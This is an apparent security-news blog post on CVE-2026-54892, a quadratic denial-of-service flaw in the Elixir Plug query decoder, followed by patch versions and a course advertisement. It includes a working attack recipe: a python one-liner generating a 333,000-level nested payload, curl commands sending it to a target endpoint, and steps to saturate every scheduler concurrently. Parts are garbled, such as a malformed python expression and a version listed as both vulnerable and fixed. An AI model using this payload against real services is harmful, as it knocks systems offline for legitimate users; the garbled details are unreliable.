Listen to this Post
CVE-2026-54892 is a critical denial-of-service vulnerability in Plug, the Elixir web framework used by Phoenix and other Erlang/Elixir HTTP stacks. The flaw resides in Plug.Conn.Query, specifically in the functions split_keys/6, insert_keys/3, and finalize_pointer/2 (lib/plug/conn/query.ex). When a URL-encoded key contains deeply nested bracket segments—such as a
[a]...[bash]=1—the decoder walks each level and performs a Map.put operation keyed on an ever-growing binary prefix of the key. Because the prefix grows by roughly three bytes per nesting level, the hash of the full byte range must be recomputed at every step, making the total decode cost quadratic in the number of nesting levels (O(N²)). The same code path handles query strings, application/x-www-form-urlencoded bodies, and multipart field names via Plug.Conn.Query.decode/4 and decode_each/2. The default Plug.Parsers.URLENCODED cap is 1 MB, which allows approximately 333,000 nesting levels; however, Plug.Parsers accepts urlencoded payloads up to its overall body limit of 20 MB by default, enabling an attacker to scale the per-request work far beyond the urlencoded-specific cap. Benchmarks show ~4× scaling per 2× input, with 16k levels consuming about 195 ms on a single scheduler. Any unauthenticated remote attacker who can reach a Plug-based HTTP endpoint can pin a BEAM scheduler for minutes with a single small request, and launching one such request per scheduler concurrently can render the entire service unresponsive. No credentials, specific endpoint, or prior knowledge of the application is required.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Elixir Plug
Version: 1.15.0-1.19.3
Vulnerability: Quadratic DoS
Severity: Critical
date: 2026-06-23
<h2 style="color: blue;">Prediction: 2026-06-23</h2>
<h2 style="color: blue;">(end of form)</h2>
<h2 style="color: blue;">What Undercode Say</h2>
<h2 style="color: blue;">Analytics:</h2>
[bash]
Generate a payload with 333,000 nesting levels
python3 -c "print('a' + '[bash]'333000 + '=1')" > payload.txt
Send the payload to a Plug endpoint
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data-binary @payload.txt http://target/endpoint
Measure the time taken for a single request
time curl -X POST -H "Content-Type: application/x-www-form-urlencoded" --data-binary @payload.txt http://target/endpoint
Vulnerable code path in Plug.Conn.Query def decode(query_string, options \ []) do ... split_keys(query_string, ...) ... insert_keys(acc, ...) ... finalize_pointer(acc, ...) end
How Exploit: (Educational Purposes!)
- Identify a Plug-based endpoint that accepts URL-encoded bodies or query strings.
- Construct a payload with deeply nested bracket keys, e.g.,
a[bash][a]...[bash]=1, using a script to generate hundreds of thousands of levels. - Send the payload as `application/x-www-form-urlencoded` via `curl` or any HTTP client.
- Repeat the request concurrently for each available BEAM scheduler to saturate all schedulers.
- Observe the target service becoming unresponsive for minutes.
Protection: from this CVE
- Upgrade Plug to version 1.15.5, 1.16.4, 1.17.2, 1.18.3, or 1.19.3 (or later).
- Force a maximum depth when decoding queries, as implemented in the patched versions.
- Reduce the overall body limit for `Plug.Parsers` if deep nesting is not required by the application.
- Monitor for unusually large or deeply nested URL-encoded payloads at the reverse proxy or load balancer level.
Impact:
A single low-bandwidth sender can render any internet-reachable Plug-based service unresponsive without authentication or knowledge of application routes. A small number of concurrent requests are sufficient to saturate all BEAM schedulers, causing complete denial of service for legitimate traffic.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
